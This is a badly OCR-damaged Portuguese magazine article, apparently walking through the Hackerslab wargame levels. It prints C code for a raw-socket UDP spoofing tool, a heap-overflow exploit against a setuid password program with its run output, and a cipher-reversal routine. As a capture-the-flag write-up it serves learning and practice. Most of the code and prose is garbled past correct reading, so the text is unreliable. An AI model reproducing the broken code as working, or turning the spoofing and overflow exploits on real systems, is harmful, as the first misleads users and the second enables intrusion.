Urn daemon, no free hacking zone ~ lltiliza a DO: ta UD'P 5555. Es te daemon esta esperando por pacotes que chegam do "'0 '. ww·w. hackerslab, Itg,. 'Esses pacote incluem 10 endereco de e IDa] Io remetente assim como a senha 'ara o proxh 0 nrvel, 0 de 'man nonficara a senha do mvel egutnte via e-mail assirn que 0 pacote

indo do wwwhackerslab .. org, essa mformacao chegara no formato.

~ A senha para 0 levell O~ I '. email ~ par eX'eID, 10 se a sen ha p, ra 0' level lu for C abed" e o e-mail for [[,abC@aaa.ccc.ddd.rr'\ entao,~ a me agem anar ' era da seguinte manelra:

abcd/abc@aaQ.,ccc~ddd, n"

MaIDS a obra Precisamos de urn programs que nos envie urn pacote DF spoofing, .: esta maneira teremcs que enviar um acote pela p, rca 5555 j nesse pacot '1 teremos de envia a senha do n~vel em que estamos ~ d pots, 0 end reco do e-mail que quererno . 1 rue nos respond corn

.it...... d . .r 1 Cd" diftcil e

a senna 0 proximo rn ve . . omo po ernos v· r, a pane. rnau I. ncr e

spoofar, ou seja, 0 pacote rem que chegsr como se fosse 0 host ~. haekersla b. org que 0 ttvesse envtado,

Depots de buscar Informacoes a respelto, escolhemos urn e:xel'IDl_ no que nos. servira de base, confira:

_____ ;;;;;II= '=~~ - - -~ - -__II;III,;;g;_""_ -~ -.~ __ - _"_ - - ~._ 1iiI,_'"'!!'_!!!'!"r.!!' .,.;j ... ~~~_ -----IIO;IIIIOOII==--=~IIS" - ~ ... ..= __ ~"!"!"l

I******·****~******~*****A*.****** •• ******************~

/* spoofudp.c ,e um prograrna feito para enviar urn pacote ,DP

spooling */

/* compilar .,~ seguin e forma: */

/* /usr/u cb/cc -0 spoofudp sl· oofudp, c "k I

/* Este programa so podera ser usado com prtvtlegtos '[00.[ i/o/

/* Modj_ficacao, die urn. programa pa fa passa r para 0 1- ve I {J do

hackerslab. OJ~ *1

r Programa bas- usado. . tes de ua modtficacao ern: *l

fk http://roo1'She1l.co~11ImclDve~j4,Simdqi3,gq59dv/l997081amudp~c.hnn1 *1

/* (c) 200 by Jafar */

I***************·**·******~*~****k.**************.'.****/

#includ.[e<sysl~es,Jl>

#incl ud,e<sys/socke't. h> #runci.ude<nem:ine'l/ln .... systIn.l'l> #1I1('lude<netme:rlin,.'h> #inciud '<:DJ!;tinellli,p,.'h> #iTh1clude,r<n.etln€wdp.h:>

mcludeeerrno.b» ,#incm'Ud,e<s[rln~" h'>

, L' 'I d - td -b h

,#inc 'U e<n,eti c ,'m, " ).,

#imclude,<arpwine["h> #il'n,cll1de~stdi'o,. he-

S iruct soekaddr sa;

Ina in (rnt arg,c,chsr '* '~'a_rgy) [

tnt Id; tnt "",=1"

,~' ,...,. '~

struct socl{addr_,·n *1"; struct hasten! '~he':. u._chir gmm,[67] =

.[ II CaJ -, ecalhc

Ox' ,45 IOrvO' "0' O'''U'O'' 0'::' iO';'[X"A3'"','

_ " - , " ,'a'"" '.no', ,'!Ii ' '. ~ 'I - "

longi 'ude de cabecalho = :; (*'4~20)

.tI 01 4' 5" , c'· - - - ,AIL (~P' 4)

1.1 . ,x .1 =;i>' verSlon.==r I v- 'm

.II rtpo de service = rQxOo,

longitude total Ox:004J ;::: 67' bytes

Ox I 2, 0x34, oeoo O~OO, Ilidenbfi~caQio Oxl2J4 ftags=OOOb

offset de fragmento- OOOOOb

Ox'FE 0" ·...,.11 0 0:'

'_ ',' ." . , ,,~ ]1 ' , j

(maximo) -protoaolo;= Ox_l UD;P

O~ O~ OJ 0,

0, 1~11l 0, 01,

II tempo de 'vida = OxFF saltos

Ii· . " -by

n ip ongem -t-" es

.II Ip destine 4 bytes

/1 Agora 0 ca becalho

datagrarna

OJI O~ 0'1 0, II ponte ortgem 2byte5, pan,to I

destino 2bytes

0%00, O~2f; OioCOO ~ IOXOO, II' 10 ngttude de. mensagern =

Ox002F(47 bytes) 2 bytes

II checksum tnicialmente a OxOOOO ambem 2

bytes

1/ '. ados a tra nsmi ti r (39 bytes-o cte os)

I ;

~ f(allgc~ ~5) ~

fprill' f(.stdlerr, "USClr: %s '~P~orig,eln .onto_or'igeln If ~desL· no.

p mro destinosn ~ ~*aIp)~

e ~i (' ).

1,;

i (I01£~ge .hos tbynametargvl I] ) }:=NULL) ~

fprind(stdcrr,' i. _ posslvel resolver ip de origermn »:~

If!xi-t(l);

~ :,

bcopyf" (h ,~>h_a.ddr:_Jlst) ~(gran'+ 2.), 4)· II intra .UZ]]"][1 0 . ig m

if( (lle- ge thostbynamefargv [3]) )==·NULL) {

fprintf(stder:r~nimpos5tvel resolver ip desnno-n"): exitf I);

~~

bcopyt" (he-e- h_addl_lirst) ! (grarn+ 16) 4) ~ II i nrroduzfr lp dest inc

* (u_s" ort *)(gn~un.-t20)=:\-lt, . ns( (u"....sh.ort)a touargv [1~ )) ~ II ponte origem

*(u_short*)(g]"an1+22)~htons«u_short)alOH9.rgv[ 4 ]); II ponte destine

p=.(stnlc l sockadd _i 11 *) '&:5a~

p~>s.in._.fanlily=AF _I ' .. ,cO ;,

bcor y( * (he-» h~addl_lis() ] &:( p -c-sin __ deb) .sizeoftsrru ct in_add ):

II Cnamos 0 socket (pacote)

ir((r"d~oc'ket(Af ~mNE: 1.~SOC.iZ-RA~mp'p'ROTO_RAW»~~ -1) (

P . rrort" [alba de so cker~)' , xit(.l)~

J ::

,#rnfd.1er IF _HDIR~N C~ :

fpru ':1f(.5'tideIT~~! Tienes I.P ~IqD R1N CL ':,-)\n\n ~~);

if (setsockopt(rd, "PP'ROITO_J~IP T'iDR! "" CLm(el1ar*)&x~sizeof,(x))<O)

~

perrorf "falha setsockopt ]P Ji.D'RIN CLU),:

exitf I):

~ .. ] '~

#etse

f·· ,"_. ,.,ti( td ,_ .,~" .' ,r- " IP' Uif"'!!;'R,"'I'N"" C-L· f\ .... '\n' ~ ')' " . pnll.Ll~ St." err~ . ",0 nen,e,s, ............. ";U' ,', " ,,' .=\_''!J,J!i:': =\

#endif

Il.MaT[da realmente 0 pa.cote

if( (sendtoffd ~,&,gra,m,~sizeof(gram) 10 ~,(struct sockaddr" )pl'Si4eof(str

uct sockaddr))) == -1) ~

'pen-ore "falha sendto"); ex~t( I):;

} ;,

. ,[((,n d - ,~ - _ - _ Y, d - ~) prmu '·3.wglL3Jllla enV13J' 0: ,;,

f,or(x=O~x< (siz:eof(g,ram)/sireof(u_char)) ;;x ++)

if( ! (x.%4)) 1Pu~char('\n.i.); p,rtnlfC"%OlxJ~ 9gram lxl): };

putchart'm');

Vamos ver se este l'rograrna, nos interessa apos cornpilado, devemos U tiliza-]o da seguin te manei ra:

.tt." ;>i,I-,.i>"')LQI(lL'!'Il - .~ __

I,

A resposta fcd negativa come podemos pereeber: socket: Operation no t penni ned

Al,gum problema, Talvez Sieja que tenbamos de, ter pnvtleglos de root para usar esse comando. Tentando outra vez ~ desco bre-se que 0 problema era 0 provedor de internet (I S p) que filtrs va os p~CO'H~S e ~ en tao, bloqueava 0, sp oofing, Se ocorrer esse pro hlema, ten te u tiJ izar au rros provedores e a,guarde 0 liio esperade e-matl,

-

'!!'

Pw"Va, 1 ,2

N este ntvel ~ voce encontra 0 arqutvo hlsr/locaVbinlpass,'wd.faU execu tando 0 prolgnn i , a JusrllocaVb1n/h.of. I .'I1l{rf!tanro,! devemos buscar pelo arquivo /usr/local/bin/passwd . success que. inclut a senha do proximo mvel, Dica: Utilize a area, hea I.' n a,

Picaclaro qUI€: estamos Ialando novamen te em buffer Q1\terflo\\/, mas desta vea ao mves de utilizarmesa pUhs., teremos que usar 10 espaco heap,

N d . Id d . d

'. . ,este caso l telI''e;m,os .e 'L'lT,3:'r 0 conteu' - () I. ~O arqU[VO 'passw~ ,.success

" L" ...;!II"",, ~~'I ". £go '. "",.AI

pam consegutrmos a senna 'uti' mvei segumte sse programa peee u.m.a

senha eJ, se for tnsendo um valor errado, ele apresentara 0 contendo do arquiv . passwd.fail e, caso aeerte aem apresentado 0 conterudo do arquivo passwd.success,

A. vantagem e. que Or pll'Orgnul1i narD controla a entrada da senha ... ~: pode 'PllOIVOl~r oVlerflow. Pan, saber. mais sobre heap overno~r acesse o site: h.tlp;IIv.7Vil\V.:'NOOwOO.owgfartic~5.htIiU. e e d1ele, que. usaremos 0 ccdigo para passar de ntvel,

"'includlf <stdio.l~,> #include <std~tb.h» ·#include -eunistd.h» #j,nchude <sning.11:>'

-define BUFSlZE256

·#define DIFF' 16/* estimated diU between buf/tmpfile ill. vldprog */

#define 'VULP'ROG ~/usmflocallbhlJhoirJ

#dle6.ne 'VU I FILE H'Iusrliocallbinlps.ss\vd .sueeess' t" . he 6Jle (bufJ' MU

be stored 1.n *1

l* get value of sp off the stack (used to calcu 1aJ.te .al~gv I ! ] address)

"k/

'u_lon_g getesp () 1

.,_,asm _ C'mov 1 %esp, %eaxU) ~ /* equiv of ire turf] esp;' in C *1

J,

tnt m inOnt. a:rgc~ char ~-"k'a~gv)

[

'u~long addr; register int ~.~

'runt mainbu fstz,e;

'''f' ( 1)

, .... argc .<,,:::::l: ,:.

{

fprillntf(s;tdelT~ "Usage: %s -coffsec- Ir. try 310-.330 ]1\111 ~ '~. argv [O])·~ ;exit(, ):;

]-

memsetfbuf'-s strlenfbuf), '}.i~, D IF" ) ~ addr :~ getesp O + a toi (,argv' [ 1 ]) ,;

1* reverse byiU!e order (on a liule endian system) */

i€~. . (i 10' '.' ',- • "lrl''-I' '1\, " . :).,., ,-)

tor .,1 :-:= ,~, 1. -c sizeot \ u._~ong. , 1++·.

buf[DI!,·F + i] = ((u_longladdr ». (" *' 8) '& 25,5);,

U1B.inbufswze =stJI"lel1(buf) + stden(VULP'ROG) + st"ID""l€-n(VU~' F'1.L. -) +- [J..;

ma'i abuf =. (char *)lual1oc(lnainhufsize):'

me rnset ( rnambul, (), smoof(nudnbu:O);

buf, VULPROGt VULFIL .);

p-rintf(UOverOoViing . rnpaddr 1.'0 point to %Pl, check %51 after.\D\.

_n n!

~d;ldI~' VU I 'ILE""")'

~ t_ ~ '11 . - .'.: L!'j

sy, '. tem (mambu 0 ~ return 0;

" IIiiii'

Born ~ de-porus de alguns testes, chegamos a:

[Ievel'l @driH. ... ]$. .f'eX]' 35,5

Overflowing tmpaddr to pomt to 0 ·bff:rfebb~, check lusrAocallbini passwd.success . Iter,

level Is Password :

\ lew _file .~ r/local/bln/passwd.success

erroi opening r!locallbin/passwl~:lsuccess;, No such. file or directory [level l@tlnll .,.]$ .Iexp 354

Overflowing trnpaddr 1[0' 'point to Oxbff'[Ceba~ check lus~lI,ocal/birv passwr 'I.S' recess after.

~,evel 1 ~ . 'a.s.sword :

view _6 le = sr/local/bt n/passwd, success

error opening sr/local/btn/passwd.success; No such file or direcrory [levelll@dri,ll .,.]$ .Iexp 3513

'Overnowing, 'tJTI paddr to point to oxb.fCfreb9l check !usrllncaiVbtnJ passwd.success . fter,

level 1 Is Passw-ord :

- - -

view~file...; usr/local/binzpasswd.succes .

error opening usr/local/bin/passwd.s uCCe:S5" :. 0 such fd' or directory [levelll@'driU .,.] s .Iexp 352,

Overflowing tmpaddr to point tal Ox'btmebB~ check lusrl10caUbinl 11

P"l'I~~ W' d' ~UCC-'DC'e ;];f'·'o:f. j~,. r ': ... ~!C:a, , ..... ~I tal ,161t,. I,~

levell.I s' Password :

villew _fille .= rosrllocalllbinipasswd.success

B-"'DiN' G"-'0' ,~ ,0\. ' • , .-- - ,", d~ II 'J..' .'. '.' • n.qUl telTIOS ,0 .pa~iWOr, ",.

Prova 13

Eis 0 :problema deste ntvel: Seu idolo~Jungw.ool podia capturar os dados por um. sow ff;'e'r enquanto os adn '1' nisuadores do hackerslab estavam acessando 0 level 3 .. Jungw'()o pensou que poderia censegutr .3, senha facilmente 'pO'r esse sniffer, mas, para sua Infelicidade, 00$ adminls .. tradores u[i:ill'"'zawm um algormtlno~, assim, se conseguira eneontrar a. senha so cifrada,: 4· tultSIlZ:i\~·. Enquanto JU.1]1gw'oo fa2,ia. U1l11 busca no sistema, ele fica bou encomrando em lusrlbilll,' ncrypt a ferramenta que

1 0]. dif d d' A· . . , ..

eies Uti. .uawwu para cor Jii1ca'r o.s ',at os.>gor-a e com voce, sua nussao

e: tentar descobrir a senha utilizando esse programs.

p'. ca. clare que terernos de utf tt9r esse programa para decifrar a

L_ 1"·iIl..,.' h

senna, per enquanto ,9, urnea coisa que sanemos ,e que a sen .. a tern

d~ . nove ,_ J\gl'tos.

Vamos ver C'OIDJ) nao e tao' simples a encrlptacso de UIDll, codigo, rente encrtptar 0 namero '1,1 -1 1:

I pass; 111.2 2 pass: 123,.3 .3 'pass .. 3456 4 pass: J45,6

5 JI1l::::ll . ...:'1:: , •.. A.~,~.d. r~~~' 9rJU'-

,6. '. pass: 6'>16'7

. . .. ~_ .lIi _

7 pass: 1'9'19'

8 P': .~lHt·~", l' 9'7, '9'-'"

,,~,!, .

'9 pass: 9'198 ]0 pass: 98'9'

..

.... -

- - -

11 pass: 9,<;.'>' [2 'Pass:~ 91<::;.> . 3 pass: <~>.:

'-i··;'it. Iir"'i,{!jj.¢~,.( .._ ..... = T ~l~,., ~!I~

. ~ J • .:_

Fazendo outros test,e.~~ peroebemos qt:ill~. ,0 aJgoI'.itmo realmente

. . d' ., ,-'. - _ .. rA .. ---- -''-1·-'1 e al "- . 'Id-I "'-~I- '. '- .:- - r .i, ... ,.... ,r 'I

mu ta ... ou seJ:a.~ a rormn a ~ ~teta, it a ~ execucao, neste case, ,~O"

exeeutado 0, total -2. Como 0 codigo que predsamos deseobm contem 9' dfgi'to S' I~ as mod] ficacoes se fa~tnl de 7 ern 7 Iinhas, veremos como ele ,e encnptado:



o pass: 111111111. 1 pass: 11111111 ,'- 2: pass: 11111.1233 3. pass: 1 T 1233 444 4 pass; 33,444 55,j6 ), pass: 5556 88,999 6 pass: '999 '; ~';-<::~;>

7 pass: », ~BB'C 8 pass: CFFHI,HJJJ

9' pass: C]f"FHHHJJJ

Ate agora, 9 programs cominua utilizandc 0 111f.Sll'ThO metodo, temos

,d: rl~, .• --~ oh ",--;- - -- et - dr ' ...... ilters do '.' - :- '-1 do ~I:, '. , " r--l~'~-' ,~": 11

e nescotmr se esse 111,e o 0 ea. rera 0 e quan 0 ssso aeon-e. Ao 11[i;aJL~

vemos ,que e algoritmo se repiete e qlte a form ula ,~ a segumte, aplicada em 3;9~ ltnhas, das qusts realmenre se apl tea, a i6n1f111la ,€lID tun total de:

393/9 = 43J56666 .... 8 '* 41] .= 34~'

393 = 344 = 43 .... : t5

'\J ',d," ">"'-- .-, . ,,'ilL"''''"1 " lo c '.'. ",' '~I,·;iI· 'Ii',' ";;I~ "I'~ 1,9-' -,"-,' .' -1, . --II ~.'"

yen 0 isso e saoenc -0 qU€; reasmerue ne caoa "'," passes C os que se

repetem pedemos deduzir que. a [on1lula, Sf a plica 4 3 ~. 8 ,-t 6.~ au, seja, urn total de: 3.50 vezes j no nosso case, ag,O,ra j; so, 110S falta saber q,uai[ Ie a f6nn'U~a e como ela se apbca.

Va, Incrementando 0 Dumf'ro de carscteres descanados, eu seja, l' rimeiro . '5 depois, :z e assim por diante ;1 i1!, 8, caracteres, Iq,ue e to nnmero total de caraceeres menos 1 (n-I).

o :p~:lllllill

1 pass; 11' :- III I 1. =' I + lell despl a!zra.do 'lI1 ~Iif;:e' - 'Ill 1"") 3:7' '3' 2' .di_ 11 \1' 21 .dIL. 1

1"-' ~~~!! .' ,~ ~. -_.: ~ ~J "9F .L ).: ~, T-

3 pass: 1 I .233 +ii' =' 31 + 1 :y 3, + 1 Y 3, + 'I

4 pass; 3,3,444 55561 .- 4 + ] y 4 ~ 1 Y 4 + 1 Y 4 + 2

5 pass: 5356 88999 ~I 5 +, 3, Y 5 + J. Y 51 + 4 :y ,5 + ,4 'Y ,5 .. 4

i6' ~'II~~~.' '9:: '9":' : .' ',~-._: r~~lIl '. ," !I-[~~l'e'~

l' pass: >:> @@@BBBC

8 pass: CFFHH~m

'9 ' . ass: 'CFrHKH.ID

II D' ~SEN'CRlPTA.,C 'Iy Jafar 2001 #include -cstdio .h>

lnt a;

in' b:

~11't c;

unsisned char ,rndenaJ[',nl=~i'C 'u'~~" '~!' !\S"~),~I'~ "f '~z.~' 'l'/'I,'l.

- - - . ~I" ,I; _ _ ..' -' • "':? l ,. - - '11 i '" 'I ~ II! 1 ' , I. ~

unsiened char p.\ilSOI[9,11 ,;;;;:~'~aJoll(r ~O~' ~O" "O! 'O'ii "0'. !O"'~~

.1 ".t)'~- ... I. ~-_-' I ,-.,_ • j l ,,!~ .. ~ m " 'I! "'!II [~'_ f'iI

in t i nprirnefvoid) {

II' ViswilizachJD d~, cadeia resultante 'pri:olfe! Gade~a resu l,tal1ite: '~I);

~i(}r(c=-Qi;,[c<{siuof(caderuJl)) 'lot ~)

t'

}~

printH ~ ~');

tnt 'main 0 I

/I Operacoes 6

if( eadem [8] - 6 >= 32) Ip:-· 0[5] ::: cad£fla[8] ~. oJ else (paso[5] - cadenl[8] • 6, ~ 93;)

U~( cadena[7'j - 6 ~~ 32) ~patSO[4~ = ,cadena[7] "' 6;} else I paso ~'4] =cadena[7] - 6 + 93;)

i£( eadena (6 ~ - 6 >= 32) ~ paso [3 ~ ~',cadena [6] - 6~} else (paso [3] = csden [6] ~ 6 + 93d

if( cadena[5j - 6~, 32) '~paso[21 ;; lcadena,(.s] - 6'} else (paso [2] ~ ,cadenaf51- + I. !3~]

iI( cadenal+] - 6 >~ 32) ~paso[l ~ eadenal+] - 6;~ else lPMOI[l] ~ cadenal-l J - 6 + 93~}

He cadena [3] - 6 ~!!!! 32) [pasc [0] :: cadena [3 J ee 16; ~ else I paso 1 (1] -

cadena [3] - 16 + 93~} paso[Sl .. cadena [1] ~ paso r 7~ = lcadma,[l); pasoi6j - cadena~O] ~

Irrr.a lSrerimos Q resuhado ror (b=O~b<9~b . +)

~

cadena [bJ ~paso I,b] ;

I

II Vi!suaJ]1za~jo da eadeia resultante imprimeO;

II Operacoes :5

j.f{ c.adena~8] = 5, >.-. 32) lpaso~il ::: cld.ena.[8] - 5·~J else ~pasor4] .: cadena [8] ~. 51 +93;'~

if( cadena 1[7]1 ~:5 >""'" 32) ~ paso [,3.] = cadenaf7]1 - 5' J else [pasol.I] =: cadenalZ] ~ 5 +9],-)

U( cadenajti] = 5 >~ 3.2) [1'350[2] == cadenalnl ._ 5 .. ~ else {paso [2] -= cadena.[6] - 5 +93J

l.f{ cadena f.5.l - 5 >~ 32) I paso [1] ~ cadena f.S] - 5~J else (paso [1] = cade1ul[,]! - S +93~1

ifC cadenal+] .. 5. >~ 32) {paso[O] = cadenaj+] ,_ 5;~ else fpaso'[O] ~

cadlena.£.4] ~ 5; +93;J

paso [[8]1 =: cadena [3 J; paso ['7] = csdens [2] ; paso [ 6] ~ cadena '[ 1]1 ; paso [5] :;;: cadenalo] ;

IlIrnn.s ertmos Q< resultado

- - - ; - -

[or (b=O;b<.9; ~++ )

~

cadenalb] =paso lbl ~, ]

II V:·5uaUz;a,cao, da cadeia resultante i mprlmef);

II. '0' iIi1le~ .,i!"-l. 6t" Ii1 If '!IF' Jl.Ar;'U~ ii'

if( cadel1a[8] ~ ,4 >~ 0) [paso [3] = ,ca(lenaC':]1 ,~ i,~ J else (pasol[3 ~ = cade'l1a[81]i - 4 +93,:;'"

ire cadena [1] = 4 >= 0) {paso (2.11 = cadena ['7] - 4' J else ~ paso [2] = cadena [7] - ,4 +93;]

if( (adenal[6~ ,~. ,4 :>=- 0) (pasol[l:~ ~ cade1fl3.[6] _ 4; l else (paso r 1]1 :~ cadenal[6J - 4 . 93:;J

if( cadena [5;] = 4 >= 0) [ iaso [0] ~ cadenalxl - 4;} else [pasojtl] ~

cadena[5] - 4 +9'3;J

paso [8] ~ cadenal-t] '; paso I[ 7J ~: cadena [3] ; paso] 6] :iii cadena [2] ;

-

.. -

paso[5] ~ cadenai I]; pasol+] = cadenalul;

Iff13nsf.eli'mo$ 0' f'e5ultado "0'[ (b=O;b<9:~b++)

~ ~

cadena![b]=p,aso [b]; ]

II Visnalizacao da cadeta resultante Imprlrnef) 'j

11 Operacoes ),

if( cadena [8] ~ 3 :>- 0) {paso[2] ~ cadenald] ,_ 3~} else {pasol[2]1 =, .. de II - 8' :.) ':I!. r 9' 3-: ,.l

ca tenarts ... .;) +,)~,~

if( cadena[7] ~ 3 >= 0) [pasojI] ~ icad'ooa'['tl ~ 3,;") else [pasol l] == cadena I[ 7] - 3 +93;J

"f( cadena [6] ,_). >= 0) (paso(OJ, :: cad,enal[61 - 3';~ else lpaso[O] ~~

.. de - d r ~ ] 3' n"'JI'.]

Cal" e,n"Il'iUjJ = • +~J!;,J

'pa.solaJI = cadena.[S.] ~ paso'[7] =: cadenal+] ';, paso[6] = cadena[3l~ 'Paso [:5] = cadena [ 2,,] ; pasoj+] == cadena] I]~ paso~3] '= cadena[_O];

IfTransfe:rimos 0 resul tado for (~, ·~O; b<9 :b++)

~

cadena [b];;;:paso·[b] '; )

..

II Visualiza.<;io da cadeia resul tam e ,' .. -.,' .(: )" ,

lmpn.m,re;:,!

II Operacoes :2

iI( cadl!ena[8] ~, '2 ::0-: 0) [pasoj I] :; ,cadena'[8]- 2;) else {pas '[1]= cadena [8] - 2 +'93:,]

..

:ire c de-na,~7'] - 2 >= 0) ~' I aso [0]1 = cadena [ 7] - 2:]. else {pasolu] ::

cadena [7.1 - 2., 9(3,;]

'paso [8]1 ;;; cadena [6] ~ paw 17] '~ cadena [S]I ~ paso[[6] ~ cadena [4] ;, paso [.5] = cadena 1[3 ] ; paso [4] = cadena] 2.] ; paso [3 '11 = cadenal L]; peso [2] ,_ cadena [0];

/ITran-sferimos 0' resultado for (b;;;.O:; b<9':~b++ )

(

cadena [- b]- ~p-c:aso I~b] :"

, ", - - It - _ ~

)

II Oper.a,ooes. 1 casa

iI( cadet arB] - 1 >~ 0) .[paso[O] := cadena,[8] - Itl else ~'paso[O] ==

cadenald] - I +93;,}

'paso [B] ~ cadena I[ 7] ': paso [7] :: 'ca' - na [16]:~ pasolti] ,~ ca.dlena,[.5.,];, paso [51] = cadena [ 4]1· paso [4] ~: cadena [3] :, paso [3..1 =' cadena [21 ; pasQ[2] = cadena [I]; pasoj I] := cade 30[0];.

/ /Iransfertmos 0 f\e5U1 tado for (b-O;b<9';b++)

~

cadena [b.1 '=paso ['b] ';

~ f

L

/1 Op e]ia~a es

for (a~O' 8.<:43; a++) (

II Operaeoes 8

L( cad~e.na[8] -.8 ~ 32) {pas()i[[7] :~ cadena[8] -.BJ els . [paso[7] ;;:

CaLd.fn.a[8] = 8 + 93;)

'if( cadena [7] - S. :;OF- 32) .[ paso [6] :~ cadena [7] - 8;,]- else -( paso [6] = eadena '7] _, B ,+ 93~J

if( caJ,dena[6]1 ~ a. :~= .32) h:mS'or~51] = cadenalo] ~ 8J else h;na5ol['] ~ eft ~ ena 16]. - 8 + 93;1

if( cad.ena.[5] = 8 >;;;: 32) [paso [.lH ~. ,caJlena,[5] _, 8:; ~ else {paso [4]] =1 cadena [5]1 ~ 8, + '93~1

i£( cadena] 4JI - 8, >- 32) [paso [3]i =. cadenaj-l] - 8';.] else ] pasn[3] == cadena ~ '~N _, a. + 93;)-

tf( cadena [3] - 8. >= 32) [paso [2]1 - cadena [3] - 8;,1 else I paso [.l] = adena[3] ~. 8 .+ 93;)-

ifC cadenajz] - S. .>~ 32) [paso] -I]] = cadena.[2] - ,8~1 else [pasol l] = ccu:l,enal[2) _. 8. + 93~1

if( cadenal l I- 8 >- 32) h)QSo[O] = cadenal I] - .s.;} else (pa.sol[O] = cadenal l] ,_ B + 93;'1

paso[8] = cadenalul:

II vrnsu:aUzaC;~o da cadeta resuhante imprime/) ;

II Operaciones ']'

, ..

tf( cadem,[8.]i -7>= 32) (paso [01]1 ~ 'caderrual[B] = '7:) else ~pasO[QI~ ~ ,cadena.[.8] = 7 + 93J

if( cadena [' 7] - 7 >= 32) [paso I[ 5] ~ cadena [71 ~, 7;, l else {paso [51] ~ cadena ['1'] '_ 7 + 93; ~

1Ef:( cadenalc] .. '7 >~ 32) (paso [-4] - cadena (6) _ 7~J else {paso [4] := cadena[:16] = 7 +, '9.3.;)

if( cadena [5] =' 7 >= 32) ~paso[3] ~ Icadena[S]1 = 1:;,~ else (pas'()[3] = cadena ~,5.i] ~ '7 + 93:,)

iCC cadena[ij - i :>~ 3.2.) {pMo[:2,] ~ eadena [4] = 7;~ else ~paso[2] -' caden~[4] ~ 7 + 93;)-

if( cadena [3]1 _, 7 >- 32) (paso [ 1.] ~ cadena.[3] 7',) else 1 paso [ 1] ::: ,cadena[3] ~ 7 + 913;}

:If( cadena [2JI = 7 >.= 32) (paso,[O] := cade.na[2] ,_ 7;1. lse I paso [OJ =

cadena [2 ~ - '1 ... 9.J..",~

'no::u:".n. [8-] - .... ad ena ~ 1 ] r.

~.(_iL.~V ',. _, l~~, [L-,. ~Q l -;Ii

pasol[7] = cadena[OJ·

!!Iralls[e;, imes ,0. resultado ,r. (.'ill... .. 'b 9 b )

lor •. u=O;« ';, .: ++ '.

~'

cadena [b ]·=PalSO l(b]i:, ~

II'Visualizacao da eadeia l~.ultan:~e 'tmprilue() :

lIOpera'90es. 6

:~r( catCle.na[B] = 6 >= 32) [paso(j] = car ,ena[8]1 - 6,:~ else ~pa3ol[.j] = cadena (8] ~ ,6 + '93; ~

if( cadenat[7] - 6- >~: 32) ~'paso![i] :::: cadena[1] .. 6,;) else i"paso[4,] :~ cadena[1] ,_ 6 +, '93-']

'f{ cadenalel ~ 6.. >~, 3,2) ~"~'asol[3] ~ 'cadenal[6] - 6d else .[paso[3] := cadena[16] ,_ 6 +- 93')

if( cadena [5] = 6 >~ 32) 'l:pal~o[l]1 ~ csdena [5] - 6d else I paso [2] ~ cadel1al[5,.1 - 6 .f,. 93;)

i~( cadenaj+] ~ 16 >= 32) {paso['I]1 = cadena [4'j _ 6;1 else [pasoj I] ,-=: cadenat4] ,~6 + 93J

I,

if( cadena [3] - 6 >= 32) [paso [0] ~ eadena [3 J] - 6;} else ~ PaJSO [OJ :~

cadena ][3] ~ '0 + 93 ~.~

'1Ii~'i!O:n,1F '8·'·] ~ cad ,GOT1i,~, ['Z] · W'""",,.....vll.' " = .... ~t1 ....... l.il!iOIj .. , . !

paso I[ 7] =: cadena [, ]; paso [1;t;:;JI - ca dena [0' .. ].

I.~iL.;;;Io U', =. _ '~-''''''.lI.,~. _ :_ _.,

IlTm:-a~lSFeT.i:nlOS 0 resultado for (b=O;b<9;'b++)

( ca,dena'[bl=pasn][b] ; I,

II Vis.u:altzJ;~ao da cadeia resultante irn rimef);

II ,0'1' eracoes 5:

if( cadena ][,8.] -.5 >\~ 32) [paso [4] ~ cadena (8.1 - 5,.;) else [paso] inl = cade:na[,8] - , +93;)

~ iff cad ~'-::;I ['7' ] - c::, .. ,........ 3- ',2":):; .~ md,~,"" [''':!!:,] ~ cad '. - -, .- [7· ... ] - 5,'''] ,t:>1, ...... - ·r· ','f :,- ..... , [']. ~ ~ JIJ!I II", '" - ,,",",l.~~, , ~ .J :> - .' l ~~1bI' J ...... 'II..;. -,ena . ."~] li;..llie. . paso .. ~, ~

eadena [ 7]1 .- 5 +93 '; ~

if( cadenalol - S' >= 32) lpaso[l] ~: cadenajfi] - 3'::'~ else {paso[l] = cadena [ 6] .~ 5, .+93: c~

if( ,cadena[S] - 5 >~ 32) [paso] I] = (~,a,'dena[5] ,~5;~ else {pasolI] =: cadenal S] - 5, ·+93;'t

if( ,cade,11,aI4] = 5 >= 32) Ipa,50[O] :=: cadenal+] - 5;.~ else {paso [0] ~:

cadena [4] ~, 5 +9'3;J

paso [8] ..;._ cadenaj S]; pasol'Z] = cadena [.2,]; 'paso ~ 6,] .... eadena [ 1 ]I ; 'paso [5] :;: cadena] 0] ;

~ ~

IlTr-ansfrnrnns 0 resu ltado

-. - - ---

£ '.' (-bl. -0' .- .b .. :-g . .' .. i -:I)' [lor .' .. -' " -c "'1 '++'"

cadena ~b]i-paso['b]; 1

II Visualizacao da cadeta resultante tmprtmef) ;

II Op raciones 4-

if( ,cade_n8.[8J ._ i >~ 0) ~pasol[3] ;;;; cadenal[8] '4J else ~ paso [J,] =: cadena [8] ... -4 +93:; J

if( cadena r...,] ~ 4 :>{;;;: 0) [paso [2.] = cadena [ 7] .- 4;J else [pasolz '] ~ cadena l[ 7] - 4 +93;, J

if( cadena [ 6] ._, 4 ~= 0) 1 paso [ 1] - csdena [6] - 4:,]. else {paso [ 1] = cadena [ 6]1 - ,4 +93; ~

IDf( cadenalS] - 4 .>= 0) Ipasolu] =. cadena.IS] - 4;~e'~e (paso [OJI =

cadena[5]-, 4' ·+93;.] llaS,o[8.] = csdena [4];. paso [';']1 = cadena [[3] ; peso [6] = cadena [2]] :1 paso[5 =. cadenaj I]; pascl+l = cadenaltll:

IlTr,ansEetin1Jos <0 reseltado r. ',' (. b O' "b '9 ,'b' )"

~!or. ~. '2' .< '" ++

{'

cadenalbl-paso [hI: )

II Vistlla.lizru;sol da cadeia resultante imprime ();

II Operacoes 3

'~'f( cadena [8] ~ 3. >= 0) ~ paso [.2.] '=: cadena [ 8] - 3 ~ I else ~ 'P1ID, 0 [21 ~ cadena[[8] - 3 +93J

ifC cadena [' 7'][ - 3. >= 0.) {paso [ 1] :;; eadena ~ 7] ~ 3.; ~ else [paso [1]1 - cadena [7], _. 3 +-93:; ~

if( cadena ~6] - 3 >= 0) ~paso['O] :~ cadenajji] - 3;} else t paso [0] =

cadenal[16] - 3 +93;]'

paso[8] = cadena.[5J.; paso [7]1 :: cadena [·4] : paso [6] =, cadenal.I]; pasol[5J .... cadena [2] :;

....

• •

